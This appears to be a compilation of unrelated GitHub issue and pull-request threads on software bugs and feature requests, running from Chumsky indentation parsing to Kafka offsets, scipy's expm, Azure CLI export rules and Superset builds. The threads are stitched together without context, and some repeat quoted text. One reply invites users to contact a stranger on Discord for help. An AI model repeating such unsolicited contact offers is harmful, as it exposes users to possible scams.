Example of Python-like parsing

Having an example on how to parse Python-like languages that are aware of indentation would be interesting.

Python's parser/lexer (whichever processes identations) is not context-free because correctly parsing each line relies on the contextual information available in previous lines (i.e: lines 'pair up' with neighbouring lines into blocks if their indentation matches).
Chumsky (and virtually all parser combinators and parser generators) do not play well with context-sensitive grammars. It's usually necessary to hand-write a context-sensitive parser for such languages.
All is not lost, however! A neat trick you can use is to write your lexer by hand and have it translate Pythonic indentation into traditional code blocks with delimiters. Once this is done, the tokens can be fed into Chumsky and parsed in a context-free manner.
I would actually advise you use this strategy: get rid of the context-sensitive indentation as early as you possibly can in the compiler, it makes parsing in general needlessly complex.
I've actually written an example lexer that does this in the past, complete with correct handling of parentheses and newlines. You can take a look at it here. Once you've turned the text into a stream of tokens, they're pretty easy to feed to Chumsky.
It's probably possible to implement something similar as custom parser for Chumsky too, although it's obviously a bit ugly for the reasons I mentioned above. I'll look into this a little more to see if it's possible.

Thank you for the detailed answer and the bonus example! Really appreciate it.

Something I have seen before is introducing special INDENT and OUTDENT tokens in your lexer. I thought that was quite clever.

@zesterer Apologies for the bump after two weeks, but I'm curious.

I'll look into this a little more to see if it's possible.

If it turns out not to be possible, could an indent-aware parsing example still be included in the /examples/ directory? That way, users would know how they might make Chumsky work with indent-aware content, even if it requires some hand-written code on their end.

I've had a think about it and although I believe that it should be possible to implement, I don't think that any implementation I could add to Chumsky would be sufficiently flexible to cover all use-cases.
In terms of a hand-written example implementation, I'm very happy to accept something like this if someone is interested in implementing it. Right now, unfortunately, I'm focusing on a number of other things so I likely won't get time to work on it until after New Year.

I've actually made some progress on this! master now contains a parser called semantic_whitespace that can be used to tokenise Python-style syntax into token trees, respecting semantic indentation. You can find an example of its use here.
I'd really like feedback about how this function might be improved: I'm sure that it's not general enough for some cases, but it's not yet clear to me how best to generalise it. Thoughts would be very welcome!

Hi @zesterer,
Thank you for adding the semantic_whitespace parser. It looks promising!
I am new to Chumsky so it took me a while to figure out how to feed the nested token trees from the lexing stage to the next stage. I think I need to use Stream::from_nested to create a flattened token stream before feeding them to the parser.
I am hoping the exsample could demonstrate that too. So I have updated the example here. Am I on the right track? or is there any better way?

Could that approach be merged back to master?

Hi @zesterer,
Thank you for adding the semantic_whitespace parser. It looks promising!
I am new to Chumsky so it took me a while to figure out how to feed the nested token trees from the lexing stage to the next stage. I think I need to use Stream::from_nested to create a flattened token stream before feeding them to the parser.
I am hoping the exsample could demonstrate that too. So I have updated the example here. Am I on the right track? or is there any better way?

Hey, sorry it took so long to respond to this!
Yes, this approach works fine for now. That said, I'm a little hesitant to recommend it as a long-term solution because it's quite verbose. I'm still hopeful that there's a way to add support for parsing token trees into the zero-copy branch, but it seems... mechanically complicated to say the least.
Could you open a PR with this change? I think it's merge-worth still, provided it's made clear that the Stream::from_nested is conceptually distinct from the lexing stage.

I'm not certain if the example is meant to cover this, but the pythonic parser does not enforce that the individual tokens be separated by whitespace, meaning ambiguous syntax like
10foo:
    20bar

Gets parsed to: [(Int(10), 0..2), (Ident("foo"), 2..5), (Op(":"), 5..6), (Open(Block), 9..14), (Int(20), 9..11), (Ident("bar"), 11..14), (Close(Block), 9..14)]
I could not figure out how to enforce that while using the semantic_whitespace parser, but that could be down to me not understanding the library well enough yet.

The pythonic example is just a very simple example, not a full parser for Python code. The issue you're seeing is unrelated to semantic_whitespace, it's just a product of it being a simple example rather than a fully-fledged parser.

@TTTPOB
It's quite likely that semantic_indentation has either a bug or is not quite able to express what you want: it's a stop-gap for chumsky's (current) lack of true context-sensitive parsing, which is required to parse Python-style indentation properly.
However, there's rapid movement on this front! The zero-copy branch (due for merge soon) is getting a rugged, powerful system for expressive context-sensitive parsing. You can see an example of this being used to parse Python-style indentation here.
If you feel you can't wait for zero-copy and a new release (I suspect it's probably about a month away), my best advice would be to parse indentation in a hand-written lexer and pass it on to chumsky as delimiter token, such as C-style braces.

If you feel you can't wait for zero-copy and a new release (I suspect it's probably about a month away), my best advice would be to parse indentation in a hand-written lexer and pass it on to chumsky as delimiter token, such as C-style braces.

Thank you! it looks promising, I will try to write a lexer first, and maybe switch to the new release after.

zero-copy now supports context-sensitive parsing (see #269), enough to properly implement Python style indentation sensitivity (and much more!).

@zesterer this is fantastic. Thank you so much for all the hard work on this.


[Feature] Add pjax support

Since #comments lies inside main, I suggest removing it from the selectors as main is already there.
I also noticed that newly-loaded scripts being executed later than the pjax:success events, this is a bug and you can track the fix in https://github.com/PaperStrike/Pjax/pull/57.

The TOC is not working correctly due to window.newScrollTop and window.newScrollTop are not handled correctly.


Events should not be added for the days that are already passed

System Information:

Version: 2.6
Language: en-US
Timezone Offset: -05:00
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.103 Safari/537.36

What steps will reproduce the problem?
Create an event for the day of the week before today, for example, if today is Friday, create event "Meet John on Tuesday"
What is the expected result?
Considering today is Friday, a new event is created for Tuesday next week.
What happens instead?
A new event is created for the already passed Tuesday this week.

Please complain here: https://productforums.google.com/forum/#!topic/calendar/xXZXRVUWdo8
Same as #239.


Kafka spout should consume from latest when ZK partition commit offset bigger than the latest offset

Kafka spout should consume from latest when ZK offset bigger than partition's latest offset[ an TopicOffsetOutOfRangeException thrown out ], especially when Kafka topic change it's leader and some data lost, if we consume from earliest offset, much meaningless duplicate records will be re-consumed. So, we should consume from latest offset instead.
This is the jira task: STORM-2270

@erikdw thx for your nice review, i have change the style ^_^

Please change the PR's title to add a prefix "STORM-2270" so that it can be automatically linked.

@danny0405 : thanks for the adjustment! :)

@HeartSaVioR thx, i have changed the title

+1

@danny0405 can you add comments in the TopicOffsetOutOfRangeException block on when that case will encounter.

+1 Thanks for the great contribution.

@harshach I found my mistake, and now I'm +1 to merge. Do you want to wait @danny0405 for adding comments?


Contract tests

Description
Includes the majority of contract tests, and associated bug  fixes:

nonReentrant modifiers added
changes to getters and function names for consistency
interface definition extends IAssetTransfer for ICMCAccountant
transfers use a specific cancelling resolver rather than cancelling if an incorrect resolver is used

There are still some outstanding issues/tests to be addressed:

ChannelFactory.getChannelAddress() failing
CMCAdjudicator tests are not implemented
LibIterableMapping.sol tests are not implemented
transfer of USDT like assets failing

NOTE: This should not be published until after the contracts are deployed


FacebookAppIds.push is not a function

Please read the following instructions carefully.
Check out https://github.com/ParsePlatform/parse-server/issues/1271 for an ideal bug report.
The closer your issue report is to that one, the more likely we are to be able to help, and the more likely we will be to fix the issue quickly!
Many members of the community use Stack Overflow and Server Fault to ask questions.
Read through the existing questions or ask your own!

Stack Overflow: http://stackoverflow.com/questions/tagged/parse.com
Server Fault: https://serverfault.com/tags/parse

For database migration help, please file a bug report at https://parse.com/help#report
Make sure these boxes are checked before submitting your issue -- thanks for reporting issues back to Parse Server!

[ x] You've met the prerequisites: https://github.com/ParsePlatform/parse-server/wiki/Parse-Server-Guide#prerequisites.

[x ] You're running the latest version of Parse Server: https://github.com/ParsePlatform/parse-server/releases

[ x] You've searched through existing issues: https://github.com/ParsePlatform/Parse-Server/issues?utf8=✓&q=is%3Aissue Chances are that your issue has been reported or resolved before.

[ x] You have filled out every section below. Issues without sufficient information are more likely to be closed.

--
Issue Description
Seeing this in the heroku logs
"err": "TypeError: _cache2.default.get(...).facebookAppIds.push is not a function\n    at new ParseServer (/app/node_modules/parse-server/lib/ParseServer.js:359:52)\n    at new _ParseServer (/app/node_modules/parse-server/lib/index.js:38:16)\n    at Object. (/app/index.js:29:11)\n    at Module._compile (module.js:413:34)\n    at Object.Module._extensions..js (module.js:422:10)\n    at Module.load (module.js:357:32)\n    at Function.Module._load (module.js:314:12)\n    at Function.Module.runMain (module.js:447:10)\n    at startup (node.js:148:18)\n    at node.js:405:3",
Steps to reproduce
Run the latest released code, and check the logs..
Expected Results
No error? :P
Actual Outcome
"err": "TypeError: _cache2.default.get(...).facebookAppIds.push is not a function\n    at new ParseServer (/app/node_modules/parse-server/lib/ParseServer.js:359:52)\n    at new _ParseServer (/app/node_modules/parse-server/lib/index.js:38:16)\n    at Object. (/app/index.js:29:11)\n    at Module._compile (module.js:413:34)\n    at Object.Module._extensions..js (module.js:422:10)\n    at Module.load (module.js:357:32)\n    at Function.Module._load (module.js:314:12)\n    at Function.Module.runMain (module.js:447:10)\n    at startup (node.js:148:18)\n    at node.js:405:3",
Environment Setup

Server

parse-server version (Be specific! Don't say 'latest'.) : 2.2.18
Operating System:    Heroku, I think they run Ubuntu 14.x
Hardware: Heroku
Localhost or remote server? (AWS, Heroku, Azure, Digital Ocean, etc): Heroku

Database

MongoDB version: 3.2
Storage engine:  WiredTiger
Hardware:        Mlab M1
Localhost or remote server? (AWS, mLab, ObjectRocket, Digital Ocean, etc): Mlab

Logs/Trace
"err": "TypeError: _cache2.default.get(...).facebookAppIds.push is not a function\n    at new ParseServer (/app/node_modules/parse-server/lib/ParseServer.js:359:52)\n    at new _ParseServer (/app/node_modules/parse-server/lib/index.js:38:16)\n    at Object. (/app/index.js:29:11)\n    at Module._compile (module.js:413:34)\n    at Object.Module._extensions..js (module.js:422:10)\n    at Module.load (module.js:357:32)\n    at Function.Module._load (module.js:314:12)\n    at Function.Module.runMain (module.js:447:10)\n    at startup (node.js:148:18)\n    at node.js:405:3",

Looking at the source code the error is in ParseServer.js
    if (process.env.FACEBOOK_APP_ID) {
      AppCache.get(appId)['facebookAppIds'].push(process.env.FACEBOOK_APP_ID);
    }

facebookAppIds should be an array or undefined in the constructor. If undefined it will default to an empty array. Perhaps you are passing in as a string instead when you construct a ParseServer? It also looks like you have an environment variable set.

@gateway were you able to look into the suggestion provided by Steven?

@hramos I just got back from Burning Man, and catching up, this is on the list!


Euler angles for high-order operators

Expand spin system definition to allow for tilts of Sys.B2, Sys.B4, etc.
Should be simple, since it only requires the application of Wigner rotation matrices (wignerd) to the spherical-tensor precursors of the Sys.B* extended Stevens operators (which are tesseral tensors).

See also #81.


oracle timestamp column shows incorrect value

Query running against an oracle table returns incorrect value in version 5.2.1.  Same query returns correct value in 5.1.6
Query ran in 5.2.1
SELECT MODELDATE FROM TEST.MY_ORA_TABLE WHERE MODELDATE IS NOT NULL AND MY_SPEC_ID = '41021-58049-68';
RESULT...
MODELDATE
[NULL]
[NULL]
[NULL]
[NULL]
[NULL]
Query ran in 5.1.6
SELECT MODELDATE FROM TEST.MY_ORA_TABLE WHERE MODELDATE IS NOT NULL AND MY_SPEC_ID = '41021-58049-68';
RESULT...
MODELDATE
2017-08-11 09:13:51.958
2017-08-12 00:30:11.541
2017-08-28 09:20:24.137
2017-10-09 10:40:51.184
2017-10-19 12:57:11.865

dublicate of https://github.com/dbeaver/dbeaver/issues/4270


V1 updates for brainreg changes

Closes https://github.com/brainglobe/BrainGlobe/issues/39
Logs the changes that are being made to the brainreg, brainreg-napari, and brainreg-segment packages to the website.
Also starts on the brainglobe version 1 changelog page.
These pages are currently not linked to from anywhere on the website, although they are none-the-less accessible.

Maybe we should create a development section

We do already have a developers folder (and presumably page) so maybe it should go there? Although we probably want a front-facing "version 1 is coming" page too

Yea maybe we need a "Releases" section for changelogs? And a "Blogs" session somewhere close to the front for announcements such as this, that links to the relevant changelog?

We do already have a developers folder (and presumably page) so maybe it should go there?
We have a developers folder, but it's (currently) linked within documentation, so we should probably make that accessible somewhere else.

Yea maybe we need a "Releases" section for changelogs?
Ideally

And a "Blogs" session somewhere close to the front for announcements such as this, that links to the relevant changelog?

Yup, pydata-sphinx has a blogging extension we can use (we use it for https://neuroinformatics.dev/)

I think this is separate from the general developer docs - it's an announcement that we mostly need users and developers of other packages (also a kind of user I guess) to be aware of?

I think the blog can announce to everyone, and then this can link to specific docs for developers and/or users
FYI rather than changing the home page, we can add an announcement that links to the blog.

So end-goal would be a structure like the following (within docs/source):
blogs/
  version_1_announcement.md                      # Main "this is happening" announcement
  brainreg_updated_to_version_1_annoucement.md   # Added as incremental packages are updated
  cellfinder_updated_to_version_1_annoucement.md # etc
  brainglobe_vesion_1_released.md                # :partying_face:

index.md        # Gets an announcement directing to version_1_annoucement.md

releases/
  v1/
    full_changelog.md          # High level overview, TL;DR style
    brainreg.md                # Detailed listing of what has changed name,
    cellfinder.md              # where functionality has been moved to, etc, on a
                               # package-by-package basis
documentation/
  # Individual pages to be updated to version 1 compatible information as appropriate.

On my to-do list today / Tuesday is the Blog announcement so I can start a separate PR for that, then rebase this on top.

So end-goal would be a structure like the following (within docs/source):
blogs/
  version_1_announcement.md                      # Main "this is happening" announcement
  brainreg_updated_to_version_1_annoucement.md   # Added as incremental packages are updated
  cellfinder_updated_to_version_1_annoucement.md # etc
  brainglobe_vesion_1_released.md                # :partying_face:

index.md        # Gets an announcement directing to version_1_annoucement.md

releases/
  v1/
    full_changelog.md          # High level overview, TL;DR style
    brainreg.md                # Detailed listing of what has changed name,
    cellfinder.md              # where functionality has been moved to, etc, on a
                               # package-by-package basis
documentation/
  # Individual pages to be updated to version 1 compatible information as appropriate.

On my to-do list today / Tuesday is the Blog announcement so I can start a separate PR for that, then rebase this on top.

100% thanks!

Sorry @willGraham01 I didn't fully understand the structure you outlined earlier. I don't think releases should be in the top bar or in a card. I think it's just not important enough for most users for it to be presented so prominently.
As suggested by @niksirbi, what about a "community" section to bring some different parts together? I'll update this PR and you can take a look.
As an aside, can the blog list posts in reverse chronological order instead?

what about a "community" section to bring some different parts together? I'll update this PR and you can take a look.

No problem, shout when you've pushed things up. (I've just removed the releases card on the main page).

As an aside, can the blog list posts in reverse chronological order instead?

I assume so, I also thought that was the default. Let me investigate


Add storage options to save permission flags

it is good to add option to save permissions on realm or sqlite if somebody installed one of these packages and  don't need to add async-storage for handle permissions.
i have a big project and need to reduce third packages as much as i can.

can be used to save permissions like this:
Test Plan
import Realm from "realm";

const ITEM_SCHEMA = {
 name: "ReduxPersistItem",
 primaryKey: "name",
 properties: {
   name: "string",
   content: "string"
 }
};

export function createRealmAccess(path = Realm.defaultPath) {
 let __realm = null;
 return async function accessRealm() {
   if (!__realm) {
     try {
       __realm = await Realm.open({
         schema: [
           ITEM_SCHEMA
         ],
         path,schemaVersion:0
       });
     } catch (error) {
       throw error;
     }
   }
   return __realm;
 };
}

export function createRealmPersistStorage() {
 const path=Realm.defaultPath
 const accessRealm = createRealmAccess(path);

 async function accessItemInstances() {
   const realm = await accessRealm();
   return realm.objects(ITEM_SCHEMA.name);
 }

 async function getItem(key, callback) {
   return withCallback(callback, async function() {
     const items = await accessItemInstances();
     const matches = items.filtered(`name = "${key}"`);
     if (matches.length > 0 && matches[0]) {
       return matches[0].content;
     } else {
       throw new Error(`Could not get item with key: '${key}'`);
     }
   });
 }

 async function setItem(key, value, callback) {
   return withCallback(callback, async function() {
     const realm = await accessRealm();
     realm.write(() => {
       realm.create(
         ITEM_SCHEMA.name,
         {
           name: key,
           content: value
         },
         true
       );
     });
   });
 }

 async function removeItem(key, callback) {
   return withCallback(callback, async function() {
     const realm = await accessRealm();
     const items = await accessItemInstances();
     realm.write(() => {
       const item = items.filtered(`name = "${key}"`);
       realm.delete(item);
     });
   });
 }

 return {
   getItem,
   setItem,
   removeItem
 };
}

now we can use this createRealmPersistStorage functions to set or get items
const storage = createRealmPersistStorage();
storage.setItem(ASYNC_STORAGE_KEY + permission, 'true',()=>{});
getItem(ASYNC_STORAGE_KEY + permission,(item)=>(!!item));

@club9822 Hi. Version 2.0.0 will drop the need of AsyncStorage and is currently in RC: https://github.com/react-native-community/react-native-permissions/tree/2.0.0?files=1

@club9822 Hi. Version 2.0.0 dropped the need of AsyncStorage and is currently in RC: https://github.com/react-native-community/react-native-permissions/tree/2.0.0?files=1


Suggestion: Templates for Next.js / Nuxt.js

Very popular frameworks for React / Vue respectively, to create powerful and simple SPAs

Feel free to do PR

Would love to if I had the free time. The suggestion is here to incite interest for someone else with free time to give it a shot!

We could maybe reuse some parts of the React / Vue generator. As I use (and love it), I'll work on a Next generator at some point, but if someone want do it before start before, I'll be glad to merge the PR :)

Hi. I'm on it.


Unable to create a log analytics data export rule, either python exception or "table doesn't exist"

This is autogenerated. Please review and update as needed.
Describe the bug
Command doesn't create rule as it says no table (UpdateRunProgress) in database or I get a python exception. The table does exist and I did try creating the rule while data was going into the table. I have also tried the command with parameters as well as environment variables. It is going to a preexisting eventhub.
I had the same behaviour with the same command but on the table Update but managed to get the command to go through. I don't know why this was, it was just random and a result of rerunning the command lots of times through frustration.
Command Name
az monitor log-analytics workspace data-export create
Errors:
(InvalidOperationArgument) Table UpdateRunProgress does not exist in the workspace.

To Reproduce:
Steps to reproduce the behavior. Note that argument values have been redacted, as they may contain sensitive information.

Put any pre-requisite steps here...
az monitor log-analytics workspace data-export create --resource-group {} --workspace-name {} --name {} --tables {} --destination {}

Error
The command failed with an unexpected error. Here is the traceback:
Cannot deserialize content-type: text/plain
Traceback (most recent call last):
  File "/opt/az/lib/python3.6/site-packages/knack/cli.py", line 233, in invoke
    cmd_result = self.invocation.execute(args)
  File "/opt/az/lib/python3.6/site-packages/azure/cli/core/commands/__init__.py", line 660, in execute
    raise ex
  File "/opt/az/lib/python3.6/site-packages/azure/cli/core/commands/__init__.py", line 723, in _run_jobs_serially
    results.append(self._run_job(expanded_arg, cmd_copy))
  File "/opt/az/lib/python3.6/site-packages/azure/cli/core/commands/__init__.py", line 715, in _run_job
    return cmd_copy.exception_handler(ex)
  File "/opt/az/lib/python3.6/site-packages/azure/cli/command_modules/monitor/_exception_handler.py", line 23, in exception_handler
    raise ex
  File "/opt/az/lib/python3.6/site-packages/azure/cli/core/commands/__init__.py", line 694, in _run_job
    result = cmd_copy(params)
  File "/opt/az/lib/python3.6/site-packages/azure/cli/core/commands/__init__.py", line 331, in __call__
    return self.handler(*args, **kwargs)
  File "/opt/az/lib/python3.6/site-packages/azure/cli/core/__init__.py", line 808, in default_command_handler
    return op(**command_args)
  File "/opt/az/lib/python3.6/site-packages/azure/cli/command_modules/monitor/operations/log_analytics_workspace.py", line 131, in create_log_analytics_workspace_data_exports
    return client.create_or_update(resource_group_name, workspace_name, data_export_name, data_export)
  File "/opt/az/lib/python3.6/site-packages/azure/mgmt/loganalytics/operations/_data_exports_operations.py", line 185, in create_or_update
    error = self._deserialize(_models.DataExportErrorResponse, response)
  File "/opt/az/lib/python3.6/site-packages/msrest/serialization.py", line 1367, in __call__
    data = self._unpack_content(response_data, content_type)
  File "/opt/az/lib/python3.6/site-packages/msrest/serialization.py", line 1541, in _unpack_content
    raw_data.headers
  File "/opt/az/lib/python3.6/site-packages/msrest/pipeline/universal.py", line 226, in deserialize_from_http_generics
    return cls.deserialize_from_text(body_bytes, content_type)
  File "/opt/az/lib/python3.6/site-packages/msrest/pipeline/universal.py", line 203, in deserialize_from_text
    raise DeserializationError("Cannot deserialize content-type: {}".format(content_type))
msrest.exceptions.DeserializationError: Cannot deserialize content-type: text/plain

OR
(InvalidOperationArgument) Table UpdateRunProgress does not exist in the workspace.

Expected Behavior
Environment Summary
Linux-4.15.0-1108-azure-x86_64-with-debian-10.2 (Cloud Shell)
Python 3.6.10
Installer: DEB

azure-cli 2.20.0

Extensions:
ai-examples 0.2.5

Additional Context

monitor

Same as https://github.com/Azure/azure-cli/issues/17231

Same as #17231

Currently I only have one rule. This would be a second rule. I have had two rules before in testing so I don't think this is due to exceeding a limit?

Same as #17231

I have one rule from the workspace going into the same event hub namespace already. That is for the Update table. The command that fails is for the UpdateRunProgress table and wants to go into the same namespace but a different event hub.
I had previously a rule for this, which I deleted. The rule listing command shows only one rule, the one for Update.
az monitor log-analytics workspace data-export list --resource-group xxx --workspace-name xxx

[
  {
    "createdDate": "Wed, 17 Mar 2021 08:57:48 GMT",
    "dataExportId": xxx",
    "enable": true,
    "eventHubName": "law-update",
    "id": "/subscriptions/xxx/resourcegroups/xxx/providers/microsoft.operationalinsights/workspaces/xxx/dataexports/rl-data-export-update",
    "lastModifiedDate": "Wed, 17 Mar 2021 08:57:48 GMT",
    "name": "rl-data-export-update",
    "resourceGroup": "xxx",
    "resourceId": "/subscriptions/xxx/resourceGroups/xxx/providers/Microsoft.EventHub/namespaces/xxx",
    "tableNames": [
      "Update"
    ],
    "type": "Microsoft.OperationalInsights/workspaces/export",
    "typePropertiesDestinationType": "EventHub"
  }
]

However, --debug reveals this:
You are adding a desiccation that is already defined in rule: /subscriptions/xxx/resourceGroups/xxx/providers/Microsoft.EventHub/namespaces/xxx. A destination can be included in a single rule – you can create 10 export rules to 10 different destinations.

Is there a way to check that the old rule been fully deleted?

That's a good question. I think the limitation is on workspaces level. You can only add a single rule for your workspace. Because when you create a data-export rule, the command never needs a event hub name. And prefix of the rule ID is workspace ID.

Thanks for the information. My current setup of precreating the event hubs and creating two rules through Terraform will not work then.

Yes, the limitation is on service side. If they are on different workspaces, I think it can work.

Thanks for clarification.
I did find that you can precreate the event hubs with the name tablename and "am-" prefix (e.g. am-updates), so that at least you can control the event hub settings. This is better for me than letting Azure Monitor create the event hubs.
I'll close this issue.


warnings.push() explicit early_stop warning

this patch will add an explicit warning to "warnings" list, when jslint early_stop's.  its intended to give better notification to people who use cli-tooling that jslint failed to parse a script (see screenshot of cli-usage).
live web-demo of this patch available at: https://kaizhu256.github.io/JSLint/branch.warning_early_stop/index.html

JSLint used to do that. I took it out because it made people angry.


Error Handling when job state is "cancelled"

Hi All, We have stumbled across some SAS studio flows that have a built in logic to abort. However that means that the job_state is set to "canceled" rather than "failed". Perhaps we should add error handling that takes this job state into account. Right now if a flow ends with a cancelled state airflow will mark it as successful in the web interface.
A potential fix would be to add a new airflow exception when job_state == "canceled" (note that "cancelled" with double "l" wont be accepted as a valid job state"

What does the API return to denote cancelled vs the failed status? Is it surfaced as a regular json property, or a sysrc value?


Action display should trigger on click to play/pause

Related Problem:
Pressing space triggers action display, while clicking on the video player to pause it does not.
Describe:
When clicking the player to play or pause, the action display should show up for that state change.

For now I'm limiting this to keyboard actions to keep it simple. I'm not sure why YT shows it on presses, might be a bug or just how they prefer it. Happy to reconsider in the future.


Fixing white Background of Home section

✨ Feature Request
white background image of hero section
Description of the Feature

white background image of hero section
Problem Statement

fixing this
Proposed Solution

Alternatives Considered

Additional Context

Are you participating in GSSoC?

[X] Yes
[ ] No

Please assign issue to me under Gssoc

Lesssss Gooooo @shreyad2806
Make PR after making changes ,

can you assgin this issue to me?

Please assign this issue to me, i will make  PR

Please assign this issue to me, i will make PR

Assigned @anushkaa-dubey please do it fast


random walker with fading trail

Hello, @atharvakinage, I have opened a PR but it has been very long since I submitted it. Can you please review it?

this is not solving the issue, i want the trail to completely fade over time

Sorry about that. I will start improving it. Can you please assign me the issue again?

yess allright

I have pushed the new commit

Hello, @atharvakinage, I pushed a new commit quite long ago. Can you please review the code?

heyy am really sorry was in some work ill review it rn

it seems nice but can you draw more pixels then make it fade and make the walker a little slow, if ur ready to work on it i can reassign it to you, let me know

yes, i'll work on it. please reassign it. thank you

yess done

i hope this worked...

sem hall 2

ohh allright gimme a while

oh bro am here can you tell which row or like stand up or something

2nd row

!bounty 75


commands not working

typing .help or others doesnt work

It has tondonwith your discord bot.

add 266sebee on discord for help


Smart caching behaviour in NetworkImages

(google-internal yaqs #<PHONE_NUMBER>848896)
I think it would have be a huge value add for developers. We can reduce the need for a slew of third party libraries like https://github.com/bumptech/glide if it's out of the box since every app should try to do something smart.
Maybe something along the lines of
NetworkImage(
  url,
  {
    caching-strategy=CacheStragety.defaultFancyPantsLru,
    cache-expiry=CacheExpiry.defaultCacheControlHeaderServerControl,
    cache-propagation=CachePropagation.memory,
    cache-eviction=CacheEviction.someSmartBackgroundComb,
  }
)

Duping into #13493


Fixed Heart dataset bug

This PR addresses a bug in the Heart dataset. When clicking on the Age column in the Heart dataset, the ColumnInspector component doesn't render because of an error:
Uncaught TypeError: Cannot read property 'type' of undefined
Screenshot:

Before:
https://user-images.githubusercontent.com/40412372/120441601-96790d80-c339-11eb-8c99-0d51ecf62bb8.mov
After:
https://user-images.githubusercontent.com/40412372/120441669-a7298380-c339-11eb-92ae-999990be37f5.mov

I wonder if we should also guard against this in code? We could at least output an informative error in the console if we detect this situation, rather than give a JS error.

In general I agree that we should include defensive programmatic fixes when possible, but I'm not sure it's worth it in this case. This will only ever be a problem for internal datasets since the root cause is a mismatch between CSV and JSON. @moneppo's dataset clean up work should take care of any problems we have in the current datasets. And I think @dancodedotorg said that the the JSON-generator Brent set up should keep JSON and CSV column names consistent for any future datasets.

And I think @dancodedotorg said that the the JSON-generator Brent set up should keep JSON and CSV column names consistent for any future datasets.

FWIW: this is true - if we use Brent's metadata generator, it uses the CSV column name to generate the id so they'll always match

In general I agree that we should include defensive programmatic fixes when possible, but I'm not sure it's worth it in this case. This will only ever be a problem for internal datasets since the root cause is a mismatch between CSV and JSON.

That is true, but I have seen this error quite a lot over the last few months, and it's not very self-evident, so we could do a little extra to make it easier to diagnose in the future, especially for future maintainers who are new to the code.


Possible bug in scipy.sparse.linalg.expm

I belive that there is an issue with the sparse expm function as the size of the sparse matrix increases.  A simple tridiagonal sparse matrix does not agree with the dense expm result, with an error diverging as the size N of the matrix increases:
import numpy as np
import scipy.sparse as sp
import scipy.sparse.linalg as spla
import scipy.linalg as la

N=30

diag = np.arange(-N, N+1, dtype=float)
A = sp.diags(diag, 0, format='csc', dtype=float)

N = 2*N+1
diags = [np.ones(N-1,dtype=int),np.ones(N-1,dtype=int)]
B = sp.diags(diags,[1,-1],format='csc', dtype=float)

C = A + B

out = spla.expm(C)

ans = la.expm(C.toarray())

print(np.abs(out-ans).max())

For N=30, the max difference is ~0.014, where as going with N=50 gives a max difference of 74448896.

Thanks for reporting this. That's a large absolute difference, but if the entries of the matrix exponential are themselves very large then there is a limit to how well you can expect to do with 64 bit floats. When N=50 the largest entry looks like 7e21 or something and I see a maximum relative (as opposed to absolute) difference of like 1e-13. With double precision you can't expect more than around 1e-16, so to me this is not a clear indication of a bug. That said, the scipy expm implementation could still use more work and testing.

I would agree that this is not really an issue and can be closed.  In fact, it seems that the Scipy method behaves a bit better than the Matlab implementation at larger dimensions.

The Matlab implementation is catching up!
https://nickhigham.wordpress.com/2016/03/08/the-improved-matlab-functions-expm-and-logm/


Fix architecture detection on RedHat/Fedora machines

The output of gcc -dumpmachine is slightly different on RedHat/Fedora
machines, thus the wrong architecture was detected. Only match against
the actual architecture name to detect the right architecture.
Also add support for ppc64.
My legal name is Till Hofmann.
I agree to the terms of the Intel® RealSense™ Cross Platform API CLA.

This looks too generic to me as many things would match on 'arm'.
If fact, another Pull Request #419 has a change for ARM under Ostro which would be in conflict with this change.
Instead, it would be safer to add new MATCHes or use the power of regex to match "smarter".
👎

Thank you for your feedback. I agree that this probably too general. On the other hand, if the architecture is not matched against anything, CFLAGS are set to -mssse3, which is also not ideal (that's the reason for this PR). Also, that's probably the reason for #419, the regex for arm didn't match and it tried to compile with -mssse3, which of course failed. If Ostro OS supports -mfpu=neon -mfloat-abi=hard -ftree-vectorize (I don't know if that's the case), then #419 would be covered by this PR. Maybe we should explicitly check for architectures that support ssse3?
Would it be okay if I just added all supported Fedora/RedHat architectures explicitly? e.g. arm.*-redhat-linux-gnueabi?

@morxa Yes, probably better for now to just add the Fedora/RedHat.
Perhaps we should add a case for the known x86 platform and then add -mssse3

@morxa I've also created a pull request which combines your proposal, with the Ostro changes, and removes the defaulting to ssse3.
https://github.com/IntelRealSense/librealsense/pull/422
Can you test my changes on your platforms and comment on my PR #422 if it works or not?

@mdhorn thanks for combining the proposals. Closing this PR in favor of #422.


Not able to run the superset latest version

A clear and concise description of what the bug is.
How to reproduce the bug

Clone apache-superset branch 3.0
after setting up everything try to run the npm run dev from superset-frontend folder
facing below errors and not running superset in browser

WARNING in<EMAIL_ADDRESS>5:39-57
export 'withTooltipPropTypes' (imported as 'vxTooltipPropTypes') was not found in '@vx/tooltip/build/tooltips/TooltipWithBounds' (possible exports: __esModule, default)
WARNING in ./node_modules/moment/min/moment-with-locales.js 2086:16-50
Module not found: Error: Can't resolve './locale' in '/home/sprngyadmin/superset/superset-frontend/node_modules/moment/min'
Expected results
It should run superset in browser
Actual results
what actually happens.
Screenshots
If applicable, add screenshots to help explain your problem.
Environment
(please complete the following information):

browser type and version:
superset version: superset version
python version: python --version
node.js version: node -v
any feature flags active:

Checklist
Make sure to follow these steps before submitting your issue - thank you!

[ ] I have checked the superset logs for python stacktraces and included it here as text if there are any.
[ ] I have reproduced the issue with at least the latest released version of superset.
[ ] I have checked the issue tracker for the same issue and I haven't found one similar.

Additional context
Add any other context about the problem here.

I am able to resolve above issue but even after successful npm run dev changes are not reflecting on browser

我运行前端也是这样的bug，请问您这个问题解决了吗？能给我说一下怎么解决的吗？

The errors here don't seem to be an issue in current Superset. A couple of the warnings still do, but they don't seem to be impacting anything. PRs welcome for those, of course! Closing this as stale, but also seemingly resolved.

I am able to resolve above issue but even after successful npm run dev changes are not reflecting on browser

how did you resolve the error. i am facing the same issue


Choose a side effect model library

Feature Request
Is your feature request related to a problem or unsupported use case? Please describe.
We have more and more side effect in the application, when an API call is made we want to reflect a possible state change in the application. As we already have redux installed we could install a middleware responsible of this part.
Describe the solution you'd like
There are two well known library doing this job:

saga
thunk

I have no preference between both. Just saga is harder to use from my point of view. Thunk has lot of "plugin" doing the job, at the end you write less code.
They both have typescript definition.

Done in #215 and saga is used.


Write README describing how to install dependencies

tool1- Dependencies: None.
Write a README detailing dependencies. This should say that Python and
PIP are system requirements, giving versions. It should further describe how
to install Flask using

This is somewhat done. The readme describes that python and pip are required. It also tells the user to install virtualenv. This, along with a script will be used for all other dependencies such as Flask.


feat: add workflow script for prevent multiple issues 🔐

Description

This PR is about adding workflow script which helps us to prevent multiple issues created by a single contributer.
The script will look for existing issue whenever a contributor creates a new issue, if existing issue is already there to work then the newly created issue will be closed.
